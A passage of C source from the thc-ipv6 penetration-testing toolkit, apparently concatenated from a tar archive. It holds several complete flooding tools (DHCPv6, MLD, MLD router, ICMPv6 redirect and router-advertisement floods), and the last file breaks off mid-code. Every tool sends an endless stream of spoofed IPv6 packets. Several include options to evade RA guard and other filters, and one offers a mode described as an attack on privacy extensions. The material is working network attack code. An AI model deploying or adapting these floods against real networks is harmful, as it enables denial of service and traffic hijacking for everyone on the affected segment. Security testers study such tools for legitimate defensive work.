mac[6] = {0, 0x0d, 0, 0x0d, 0x0d, 0x0e}; char mybuf[1024] = {0x03, 0, 0, 0, 0, 8, 0, 2, 0, 0}; if (do_hdr_size) { data += do_hdr_size; len -= do_hdr_size; if ((data[0] & 240) != 0x60) return; } else { data += 14; len -= 14; } if (len < 126 || data[6] != NXT_UDP || data[48] != 2) return; data += 48; len -= 48; memcpy(mybuf + 1, data + 1, 3); data += 4; len -= 4; while (len >= 4) { if ((olen = data[2] * 256 + data[3]) > len - 4 || olen < 0) { printf("Information: evil packet received\n"); olen = 0; len = -1; } else { if (data[1] > 1 && data[1] <= 3) { memcpy(mybuf + mlen, data, olen + 4); mlen += olen + 4; } else if (data[1] == 1) { memcpy(mybuf + mlen, data, olen + 4); mlen += olen + 4; // smac auf client mac in paket setzen if (olen == 14) smac = (char *)(data + 12); else smac = mac; } else if (data[1] == 39 && do_dns) { memcpy(mybuf + mlen, data, olen + 4); mybuf[mlen + 4] = 1; // force server to write dns entry mlen += olen + 4; } data += olen + 4; len -= olen + 4; if (len < 0) { printf("Information: evil packet received\n"); len = -1; } } } if (len >= 0) { counter++; if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ptr + 38, ptr + 22, 1, 0, 0, 0, 0)) == NULL) return; if (thc_add_udp(pkt, &pkt_len, 546, 547, 0, mybuf, mlen) < 0) return; if (thc_generate_and_send_pkt(interface, smac, ptr + 6, pkt, &pkt_len) < 0) return; pkt = thc_destroy_packet(pkt); if (counter % 1000 == 0) printf("!"); } } int main(int argc, char *argv[]) { char mac[6] = {0, 0x0c, 0, 0, 0, 0}, *pkt = NULL; char wdatabuf[1024]; unsigned char * mac6 = mac, *src, *dst; int i, s, len, pkt_len = 0, dlen = 0; unsigned long long int count = 0; pcap_t * p = NULL; int do_all = 1, use_real_mac = 0, use_real_link = 0; if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]); while ((i = getopt(argc, argv, "d:nNr1")) >= 0) { switch (i) { case 'N': use_real_link = 1; // no break case 'n': use_real_mac = 1; break; case '1': do_all = 0; break; case 'd': do_dns = 1; dns_name = optarg; break; case 'r': i = 0; break; // just to ignore -r default: fprintf(stderr, "Error: unknown option -%c\n", i); exit(-1); } } memset(mac, 0, sizeof(mac)); interface = argv[optind]; if (use_real_link) src = thc_get_own_ipv6(interface, NULL, PREFER_LINK); else src = thc_resolve6("fe80::"); if (use_real_mac) mac6 = thc_get_own_mac(interface); if (argc - optind <= 1) dst = thc_resolve6("ff02::1:2"); else dst = thc_resolve6(argv[optind + 1]); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); if (src == NULL || mac6 == NULL) { fprintf(stderr, "Error: invalid interface %s or bad mac/IP defined\n", interface); exit(-1); } // only to prevent our system to send icmp port unreachable messages if ((s = thc_bind_udp_port(546)) < 0) fprintf(stderr, "Warning: could not bind to 546/udp\n"); if ((p = thc_pcap_init_promisc(interface, "ip6 and udp and dst port 546")) == NULL) { fprintf(stderr, "Error: can not open interface %s in promisc mode\n", interface); exit(-1); } len = sizeof(solicit); memcpy(wdatabuf, solicit, len); if (do_dns) { memcpy(wdatabuf + len, dnsupdate1, sizeof(dnsupdate1)); dlen = len + 8; len += sizeof(dnsupdate1); if (dns_name != NULL && strlen(dns_name) < 240) { if (dns_name[0] != '.') { wdatabuf[len] = '.'; wdatabuf[dlen - 5]++; wdatabuf[dlen - 3]++; len++; } memcpy(wdatabuf + len, dns_name, strlen(dns_name) + 1); wdatabuf[dlen - 5] += strlen(dns_name) + 1; wdatabuf[dlen - 3] += strlen(dns_name) + 1; len += strlen(dns_name) + 1; } memcpy(wdatabuf + len, dnsupdate2, sizeof(dnsupdate2)); len += sizeof(dnsupdate2); } printf( "Starting to flood dhcp6 servers locally on %s (Press Control-C to end) " "...\n\n", interface); while (1) { count++; if (!use_real_link) memcpy(src + 8, (char *)&count, 8); // start0: 1-3 rand, 18-21 rand, 22-27 mac, 32-35 rand for (i = 0; i < 3; i++) { wdatabuf[i + 32] = rand() % 256; wdatabuf[i + 18] = rand() % 256; mac[i + 2] = rand() % 256; if (do_dns) wdatabuf[i + dlen] = 'a' + rand() % 26; } if (!use_real_mac) memcpy(wdatabuf + 22, mac, 6); memcpy(wdatabuf + 1, (char *)&count + _TAKE3, 3); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src, dst, 1, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_udp(pkt, &pkt_len, 546, 547, 0, wdatabuf, len) < 0) return -1; // we have to tone it down, otherwise we will not get advertisements if (thc_generate_and_send_pkt(interface, mac6, NULL, pkt, &pkt_len) < 0) printf("!"); pkt = thc_destroy_packet(pkt); if (do_all) { usleep(75); while (thc_pcap_check(p, (char *)check_packets, NULL) > 0) ; } if (count % 1000 == 0) printf("."); } return 0; // never reached } thc-ipv6-3.8/flood_mld26.c000066400000000000000000000067121376121567700153240ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" #define RECORD_NUMBER ((1500 - 40 - 6 - 8) / (4 + 16 + 16)) void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s interface [target] [max_count]\n\n", prg); printf("Flood the local network with MLDv2 reports.\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } int main(int argc, char *argv[]) { char * interface, mac[6] = ""; unsigned char *mac6 = mac, *ip6 = thc_resolve6("fe80::ff:fe00:0"); unsigned char buf[6], buf2[RECORD_NUMBER * (4 + 16 + 16)]; unsigned char *dst = thc_resolve6("ff02::16"), *dstmac = thc_get_multicast_mac(dst); int i, j, prefer = PREFER_LINK; unsigned char *pkt = NULL; int pkt_len = 0; int rawmode = 0; int count = 0, max_count; if (argc < 2 || argc > 4 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } srand(time(NULL) + getpid()); setvbuf(stdout, NULL, _IONBF, 0); interface = argv[1]; if (thc_get_own_mac(interface) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } if (argc > 2) { if ((dst = thc_resolve6(argv[2])) == NULL) { fprintf(stderr, "Error: can not resolve %s\n", argv[2]); exit(-1); } if (dst[0] >= 0x20 && dst[0] <= 0xfd) { prefer = PREFER_GLOBAL; ip6 = thc_get_own_ipv6(interface, dst, PREFER_GLOBAL); } } if (argc > 3) sscanf(argv[3], "%d", &max_count); else max_count = 0; mac[0] = 0x00; mac[1] = 0x18; ip6[9] = mac[1]; memset(buf, 0, sizeof(buf)); buf[0] = 5; buf[1] = 2; memset(buf2, 0, sizeof(buf2)); for (i = 0; i < RECORD_NUMBER; i++) { buf2[0 + i * 36] = 3; // CHANGE_TO_INCLUDE_MODE buf2[3 + i * 36] = 1; buf2[4 + i * 36] = 0xff; buf2[5 + i * 36] = 0x0d; memcpy(buf2 + 20 + i * 36, ip6, 16); } printf( "Starting to flood network with MLDv2 reports on %s (Press Control-C to " "end, a dot is printed for every 1000 packets):\n", interface); while (1) { for (i = 0; i < 4; i++) mac[2 + i] = rand() % 256; // ip6[9] = mac[1]; ip6[10] = mac[2]; ip6[13] = mac[3]; ip6[14] = mac[4]; ip6[15] = mac[5]; for (i = 0; i < RECORD_NUMBER; i++) { for (j = 0; j < 6; j++) buf2[14 + j + i * 36] = rand() % 256; memcpy(buf2 + 29 + i * 36, ip6 + 9, 7); } count++; if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, dst, 1, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, 6) < 0) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_MLD2_REPORT, 0, RECORD_NUMBER, buf2, sizeof(buf2), 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) { // fprintf(stderr, "Error sending packet no. %d on interface %s: ", // count, interface); perror(""); return -1; printf("!"); } pkt = thc_destroy_packet(pkt); // usleep(1); if (count % 1000 == 0) printf("."); if (max_count && count == max_count) return 0; } return 0; } thc-ipv6-3.8/flood_mld6.c000066400000000000000000000055401376121567700152400ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s interface [target]\n\n", prg); printf("Flood the local network with MLD reports.\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } int main(int argc, char *argv[]) { char * interface, mac[6] = ""; unsigned char *mac6 = mac, *ip6 = thc_resolve6("fe80::ff:fe00:0"); unsigned char buf[6], buf2[16]; unsigned char *dst = thc_resolve6("ff02::2"), *dstmac = thc_get_multicast_mac(dst); int i; unsigned char *pkt = NULL; int pkt_len = 0; int rawmode = 0; int count = 0; if (argc < 2 || argc > 4 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } srand(time(NULL) + getpid()); setvbuf(stdout, NULL, _IONBF, 0); interface = argv[1]; if (thc_get_own_mac(interface) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } if (argc > 2) { if ((dst = thc_resolve6(argv[2])) == NULL) { fprintf(stderr, "Error: can not resolve %s\n", argv[2]); exit(-1); } if (dst[0] >= 0x20 && dst[0] <= 0xfd) ip6 = thc_get_own_ipv6(interface, dst, PREFER_GLOBAL); } mac[0] = 0x00; mac[1] = 0x18; ip6[9] = mac[1]; memset(buf, 0, sizeof(buf)); buf[0] = 5; buf[1] = 2; memset(buf2, 0, sizeof(buf2)); buf2[0] = 0xff; buf2[1] = 0x0d; printf( "Starting to flood network with MLD reports on %s (Press Control-C to " "end, a dot is printed for every 1000 packets):\n", interface); while (1) { for (i = 0; i < 6; i++) buf2[10 + i] = rand() % 256; for (i = 0; i < 4; i++) mac[2 + i] = rand() % 256; // ip6[9] = mac[1]; ip6[10] = mac[2]; ip6[13] = mac[3]; ip6[14] = mac[4]; ip6[15] = mac[5]; count++; if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, dst, 1, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, 6) < 0) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_MLD_REPORT, 0, 0, buf2, sizeof(buf2), 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) { // fprintf(stderr, "Error sending packet no. %d on interface %s: ", // count, interface); perror(""); return -1; printf("!"); } pkt = thc_destroy_packet(pkt); // usleep(1); if (count % 1000 == 0) printf("."); } return 0; } thc-ipv6-3.8/flood_mldrouter6.c000066400000000000000000000052201376121567700164740ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s interface [target]\n\n", prg); printf("Flood the local network with MLD router advertisements.\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } int main(int argc, char *argv[]) { char * interface, mac[6] = ""; unsigned char *mac6 = mac, *ip6 = thc_resolve6("fe80::ff:fe00:0"); unsigned char buf[6]; unsigned char *dst = thc_resolve6("ff02::6a"), *dstmac = thc_get_multicast_mac(dst); int i; unsigned char *pkt = NULL; int pkt_len = 0; int rawmode = 0; int count = 0; if (argc < 2 || argc > 4 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } srand(time(NULL) + getpid()); setvbuf(stdout, NULL, _IONBF, 0); interface = argv[1]; if (thc_get_own_mac(interface) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } if (argc > 2) { if ((dst = thc_resolve6(argv[2])) == NULL) { fprintf(stderr, "Error: can not resolve %s\n", argv[2]); exit(-1); } if (dst[0] >= 0x20 && dst[0] <= 0xfd) ip6 = thc_get_own_ipv6(interface, dst, PREFER_GLOBAL); } memset(buf, 0, sizeof(buf)); mac[0] = 0x00; mac[1] = 0x18; ip6[9] = mac[1]; printf( "Starting to flood network with MLD router advertisements on %s (Press " "Control-C to end, a dot is printed for every 1000 packets):\n", interface); while (1) { for (i = 0; i < 4; i++) mac[2 + i] = rand() % 256; // ip6[9] = mac[1]; ip6[10] = mac[2]; ip6[13] = mac[3]; ip6[14] = mac[4]; ip6[15] = mac[5]; count++; if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, dst, 1, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_MLD_ROUTERADV, 15, 0x00300006, buf, 0, 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) { // fprintf(stderr, "Error sending packet no. %d on interface %s: ", // count, interface); perror(""); return -1; printf("!"); } pkt = thc_destroy_packet(pkt); // usleep(1); if (count % 1000 == 0) printf("."); } return 0; } thc-ipv6-3.8/flood_redir6.c000066400000000000000000000127221376121567700155710ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s [-HFD] interface [target] [oldrouter [newrouter]]\n\n", prg); printf("Flood the local network with ICMPv6 redirect packets.\n"); printf( "-F/-D/-H add fragment/destination/hopbyhop header to bypass simple " "filters\n"); printf("-a adds hopbyhop with router alert\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } int main(int argc, char *argv[]) { char * interface, mac[6] = "", newroutermac[6]; unsigned char *mac6 = mac; unsigned char buf[1460], buf2[6], buf3[1504]; unsigned char *dst = thc_resolve6("ff02::1"), *fake_src = NULL, *fake_dst = NULL, *dstmac = NULL, *oldrouter = NULL, *newrouter = NULL; int i, j, k, type = NXT_ICMP6, offset = 14, rand_newrouter = 1; unsigned char *pkt = NULL, *pkt2 = NULL; int pkt_len = 0, pkt_len2 = 0, rawmode = 0, count = 0, do_alert = 0, do_hop = 0, do_frag = 0, do_dst = 0; int until = 0; thc_ipv6_hdr *hdr = NULL, *hdr2 = NULL; if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "aDFH")) >= 0) { switch (i) { case 'F': do_frag++; break; case 'H': do_hop = 1; break; case 'a': do_alert = 1; do_hop = 1; break; case 'D': do_dst = 1; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if (argc - optind < 1) help(argv[0]); srand(time(NULL) + getpid()); setvbuf(stdout, NULL, _IONBF, 0); interface = argv[optind]; if (argc - optind > 1) { dst = thc_resolve6(argv[optind + 1]); fake_src = dst; } else fake_src = thc_resolve6("fe80::"); dstmac = thc_get_multicast_mac(dst); if (argc - optind > 2) { oldrouter = thc_resolve6(argv[optind + 2]); if ((mac6 = thc_get_mac(interface, NULL, dst)) == NULL) mac6 = thc_get_own_mac(interface); } else { if (dst[0] >= 0x20 && dst[0] <= 0xfd) oldrouter = thc_get_own_ipv6(interface, dst, PREFER_GLOBAL); else oldrouter = thc_get_own_ipv6(interface, dst, PREFER_LINK); mac6 = thc_get_own_mac(interface); } if (mac6 == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } if (argc - optind > 3) { newrouter = thc_resolve6(argv[optind + 2]); rand_newrouter = 0; } else newrouter = thc_resolve6("fe80::2"); fake_dst = thc_resolve6("2004::1"); memset(newroutermac, 0, 6); if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len2, fake_src, fake_dst, 0, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt2, &pkt_len2, ICMP6_PING, 0, 0, NULL, 0, 0) < 0) return -1; thc_generate_pkt(interface, mac6, dstmac, pkt2, &pkt_len2); hdr = (thc_ipv6_hdr *)pkt2; k = rand(); newroutermac[1] = 2; memcpy(newroutermac + 2, (char *)&k + _TAKE4, 4); k++; if (do_hdr_size) offset = do_hdr_size; memset(buf2, 0, sizeof(buf2)); memset(buf3, 0, sizeof(buf3)); memset(buf, 0, sizeof(buf)); j = 0; buf[j++] = 0; // etc. memcpy(buf, newrouter, 16); memcpy(buf + 16, fake_dst, 16); buf[32] = 2; buf[33] = 1; memcpy(buf + 34, newroutermac, 6); buf[40] = 4; buf[41] = (hdr->pkt_len - offset + 8) / 8; memcpy(buf + 48, hdr->pkt + offset, (buf[41] - 1) * 8); j = 40 + buf[41] * 8; if (do_alert) { buf2[0] = 5; buf2[1] = 2; } printf( "Starting to flood with ICMPv6 redirects on %s (Press Control-C to end, " "a dot is printed for every 1000 packets):\n", interface); while (until != 1) { if (rand_newrouter) memcpy(buf + 8, (char *)&k + _TAKE4, 4); // new router memcpy(buf + 16 + 2, (char *)&k + _TAKE4, 4); // orig dst memcpy(buf + 34 + 2, (char *)&k + _TAKE4, 4); // new router mac k++; count++; if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, oldrouter, dst, 255, 0, 0, 0, 0)) == NULL) return -1; if (do_hop) { type = NXT_HBH; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0) return -1; } if (do_frag) { if (type == NXT_ICMP6) type = NXT_FRAG; for (i = 0; i < do_frag; i++) if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, count + i) < 0) return -1; } if (do_dst) { if (type == NXT_ICMP6) type = NXT_DST; if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return -1; } if (thc_add_icmp6(pkt, &pkt_len, ICMP6_REDIR, 0, 0, buf, j, 0) < 0) return -1; if (do_dst) { thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len); hdr2 = (thc_ipv6_hdr *)pkt; thc_send_as_fragment6(interface, oldrouter, dst, type, hdr2->pkt + 40 + offset, hdr2->pkt_len - 40 - offset, 1240); } else { if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) { printf("!"); } } pkt = thc_destroy_packet(pkt); // usleep(1); if (count % 1000 == 0) printf("."); if (until > 1) until--; } return 0; } thc-ipv6-3.8/flood_router26.c000066400000000000000000000222341376121567700160650ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s [-HFD] [-sSG] [-RPA] interface [target]\n\n", prg); printf("Flood the local network with router advertisements.\n"); printf("Each packet contains ~25 prefix and route enries\n"); printf("Modes:\n"); printf(" default sends both routing entries and prefix information\n"); printf(" -R does only send routing entries, no prefix information\n"); printf(" -P does only send prefix information, no routing entries\n"); printf(" -A an attack to disable privacy extensions\n"); printf("Options:\n"); printf(" -a add a hopbyhop header with router alert\n"); printf(" -H add a hopbyhop header to bypass RA guard security\n"); printf( " -f add an atomic fragment header to bypass RA guard security\n"); printf( " -D add a large destination header to bypass RA guard " "security\n"); printf( " -F perform full RA guard evasion (disallows all other bypass " "options)\n"); printf( " -s use small lifetimes, resulting in a more devasting impact\n"); printf(" -S performs a slow start, which can increases the impact\n"); printf(" -G gigantic packet of 64kb of prefix/route entries\n"); printf(" -m add DHCPv6 managed/other flags to RA\n"); exit(-1); } int main(int argc, char *argv[]) { char * interface, mac[6] = ""; unsigned char *mac6 = mac, *ip6; unsigned char *buf, buf2[6], buf3[1504]; unsigned char *dst = thc_resolve6("ff02::1"), *dstmac = thc_get_multicast_mac(dst); int size, mtu, i, j, k, type = NXT_ICMP6, route_only = 0, prefix_only = 0, offset = 14; unsigned char *pkt = NULL; int pkt_len = 0, rawmode = 0, count = 0, deanon = 0, do_alert = 0, do_hop = 0, do_frag = 0, do_dst = 0, bsize = -1, do_dhcp = 0, do_full = 0; int cnt, until = 0, lifetime = 0x00ff0100, mfoo, slow = 0, prefer = PREFER_LINK; thc_ipv6_hdr *hdr = NULL; if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "fDFHRPAarsmSG")) >= 0) { switch (i) { case 'r': thc_ipv6_rawmode(1); rawmode = 1; break; case 's': lifetime = 0x01000000; break; case 'm': do_dhcp = 128 + 64; break; case 'S': slow = 16; break; case 'G': bsize = 65488; break; case 'A': deanon = 1; prefix_only = 1; cnt = 5; until = 256; break; case 'f': do_frag++; break; case 'F': do_full = 1; break; case 'H': do_hop = 1; break; case 'a': do_alert = 1; do_hop = 1; break; case 'D': do_dst = 1; break; case 'R': route_only = 1; break; case 'P': prefix_only = 1; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if (do_full) do_frag = do_alert = do_hop = do_dst = 0; interface = argv[optind]; if (prefix_only && route_only) { fprintf(stderr, "Error: -P/-A and -R can not be specified together!\n"); exit(-1); } if (bsize == -1) { bsize = thc_get_mtu(interface) - 40; if (bsize < 1240 || bsize > 1460) { fprintf(stderr, "Error: invalid MTU on interface %s: %d\n", interface, thc_get_mtu(interface)); exit(-1); } } if (argc - optind > 1) { if ((dst = thc_resolve6(argv[optind + 1])) == NULL) { fprintf(stderr, "Error: invalid target %s\n", argv[optind + 1]); exit(-1); } if (dst[0] >= 0x20 && dst[0] <= 0xfd) { prefer = PREFER_GLOBAL; ip6 = thc_get_own_ipv6(interface, dst, PREFER_GLOBAL); } } if ((buf = malloc(bsize)) == NULL) { fprintf(stderr, "Error: malloc() failed\n"); exit(-1); } if (deanon == 0) { i = 0; if (prefix_only == 0) i += 24; if (route_only == 0) i += 32; // printf("i %d route %d prefix %d\n", i, prefix_only, route_only); cnt = (bsize - 32 - (do_hop + do_dst + do_frag) * 8) / i; } if (argc - optind < 1) help(argv[0]); srand(time(NULL) + getpid()); setvbuf(stdout, NULL, _IONBF, 0); if (thc_get_own_mac(interface) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } mac[0] = 0; mac[1] = 0x0c; mtu = 1500; size = 64; k = rand(); if (prefer == PREFER_LINK) { ip6 = malloc(16); memset(ip6, 0, 16); ip6[0] = 0xfe; ip6[1] = 0x80; } else { memset(ip6 + 8, 0, 8); } ip6[9] = (k % 65536) / 256; ip6[10] = k % 256; ip6[15] = 1; k++; if (do_hdr_size) offset = do_hdr_size; memset(buf2, 0, sizeof(buf2)); memset(buf3, 0, sizeof(buf3)); memset(buf, 0, bsize); buf[1] = 0x30; buf[5] = 30; buf[8] = 5; // mtu buf[9] = 1; buf[12] = mtu / 16777216; buf[13] = (mtu % 16777216) / 65536; buf[14] = (mtu % 65536) / 256; buf[15] = mtu % 256; buf[16] = 1; // mac buf[17] = 1; buf[18] = 0; buf[19] = 0x0c; // 18-23 = mac address buf[19] = 12; j = 24; if (route_only == 0) { for (i = 0; i < cnt; i++) { // prefix buf[j] = 3; // prefix buf[j + 1] = 4; buf[j + 2] = size; buf[j + 3] = 128 + 64 + 32; memcpy(buf + j + 4, (char *)&lifetime + _TAKE4, 4); memcpy(buf + j + 8, (char *)&lifetime + _TAKE4, 4); // buf[j+5] = 2; // buf[j+9] = 1; // memset(&buf[j+16], 255, 8); if (deanon) { buf[j + 16] = 0xfd; buf[j + 17] = 0x00; } else { buf[j + 16] = 0x20; buf[j + 17] = 0x12; } buf[j + 18] = (k % 65536) / 256; buf[j + 19] = k % 256; j += 32; k++; } } if (prefix_only == 0) { for (i = 0; i < cnt; i++) { // route buf[j] = 24; buf[j + 1] = 3; buf[j + 2] = size; buf[j + 3] = 8; memcpy(buf + j + 4, (char *)&lifetime + _TAKE4, 4); // buf[j+5] = 1; // 4-7 lifetime // memset(&buf[j+8], 255, 8); buf[j + 8] = 32; buf[j + 9] = 4; buf[j + 10] = k / 256; buf[j + 11] = k % 256; j += 24; k++; } } if (do_alert) { buf2[0] = 5; buf2[1] = 2; } // printf("DBG: %d entries of %s %s\n", cnt, route_only == 0 ? "prefix" : "", // prefix_only == 0 ? "route" : ""); printf("j is %d, bsize %d\n", j, bsize); printf( "Starting to flood network with router advertisements on %s (Press " "Control-C to end, a dot is printed for every 1000 packets):\n", interface); while (until != 1) { memcpy(ip6 + 11, (char *)&k + _TAKE4, 4); memcpy(&buf[20], (char *)&k + _TAKE4, 4); memcpy(mac, (char *)&k + _TAKE4, 4); k++; for (i = 0; i < cnt; i++) { if (route_only == 0) memcpy(&buf[24 + 20 + i * 32], (char *)&k + _TAKE4, 4); k++; if (prefix_only == 0) { if (route_only == 0) memcpy(&buf[24 + 12 + i * 24 + cnt * 32], (char *)&k + _TAKE4, 4); else memcpy(&buf[24 + 12 + i * 24], (char *)&k + _TAKE4, 4); } k++; } count++; if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0, 0)) == NULL) return -1; if (do_hop) { type = NXT_HBH; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0) return -1; } if (do_frag) { if (type == NXT_ICMP6) type = NXT_FRAG; for (i = 0; i < do_frag; i++) if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, count + i) < 0) return -1; } if (do_dst) { if (type == NXT_ICMP6) type = NXT_DST; if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return -1; } if (lifetime != 0x01000000) mfoo = 0xff08ffff; else mfoo = 0xff080001; if (do_dhcp) mfoo = (mfoo | (do_dhcp << 16)); if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, mfoo, buf, j, 0) < 0) return -1; if (do_full) { thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len); hdr = (thc_ipv6_hdr *)pkt; thc_send_raguard_bypass6(interface, ip6, dst, mac6, dstmac, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 0); } else if (do_dst || bsize + 40 > thc_get_mtu(interface)) { thc_send_as_fragment6(interface, ip6, dst, type, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240); } else { if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) { printf("!"); } } pkt = thc_destroy_packet(pkt); // usleep(1); if (slow > 0) { printf("slow "); sleep(slow / 2); slow--; } if (count % 1000 == 0) printf("."); if (until > 1) until--; } if (deanon) printf("\nPrivacy extension attack done.\n"); return 0; } thc-ipv6-3.8/flood_router6.c000066400000000000000000000107671376121567700160130ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s [-HFD] interface\n\n", prg); printf("Flood the local network with router advertisements.\n"); printf( "-F/-D/-H add fragment/destination/hopbyhop header to bypass RA guard " "security.\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } int main(int argc, char *argv[]) { char * interface, mac[6] = ""; unsigned char *routerip6, *route6, *mac6 = mac, *ip6; unsigned char buf[56], buf2[6], buf3[1504]; unsigned char *dst = thc_resolve6("ff02::1"), *dstmac = thc_get_multicast_mac(dst); int size, mtu, i, type = NXT_ICMP6; unsigned char *pkt = NULL; int pkt_len = 0, rawmode = 0, count = 0, do_hop = 0, do_frag = 0, cnt, do_dst = 0, offset = 14; thc_ipv6_hdr *hdr = NULL; if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); printf( "!\n! Please note: flood_router6 is deprecated, please use " "flood_router26!\n!\n\n"); while ((i = getopt(argc, argv, "DFHr")) >= 0) { switch (i) { case 'r': thc_ipv6_rawmode(1); rawmode = 1; break; case 'F': do_frag++; break; case 'H': do_hop = 1; break; case 'D': do_dst = 1; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if (argc - optind < 1) help(argv[0]); srand(time(NULL) + getpid()); setvbuf(stdout, NULL, _IONBF, 0); interface = argv[optind]; mtu = 1500; size = 64; ip6 = malloc(16); routerip6 = malloc(16); route6 = malloc(16); if (do_hdr_size) offset = do_hdr_size; mac[0] = 0x00; mac[1] = 0x18; memset(ip6, 0, 16); ip6[0] = 0xfe; ip6[1] = 0x80; ip6[8] = 0x02; ip6[9] = mac[1]; ip6[11] = 0xff; ip6[12] = 0xfe; routerip6[0] = 0x2a; routerip6[1] = 0x01; routerip6[15] = 0x01; memset(route6 + 8, 0, 8); memset(buf2, 0, sizeof(buf2)); memset(buf3, 0, sizeof(buf3)); memset(buf, 0, sizeof(buf)); buf[1] = 250; buf[5] = 30; buf[8] = 5; buf[9] = 1; buf[12] = mtu / 16777216; buf[13] = (mtu % 16777216) / 65536; buf[14] = (mtu % 65536) / 256; buf[15] = mtu % 256; buf[16] = 3; buf[17] = 4; buf[18] = size; buf[19] = 128 + 64 + 32; memset(&buf[20], 255, 8); buf[48] = 1; buf[49] = 1; printf( "Starting to flood network with router advertisements on %s (Press " "Control-C to end, a dot is printed for every 1000 packets):\n", interface); while (1) { for (i = 2; i < 6; i++) mac[i] = rand() % 256; for (i = 2; i < 8; i++) routerip6[i] = rand() % 256; // ip6[9] = mac[1]; ip6[10] = mac[2]; ip6[13] = mac[3]; ip6[14] = mac[4]; ip6[15] = mac[5]; memcpy(route6, routerip6, 8); 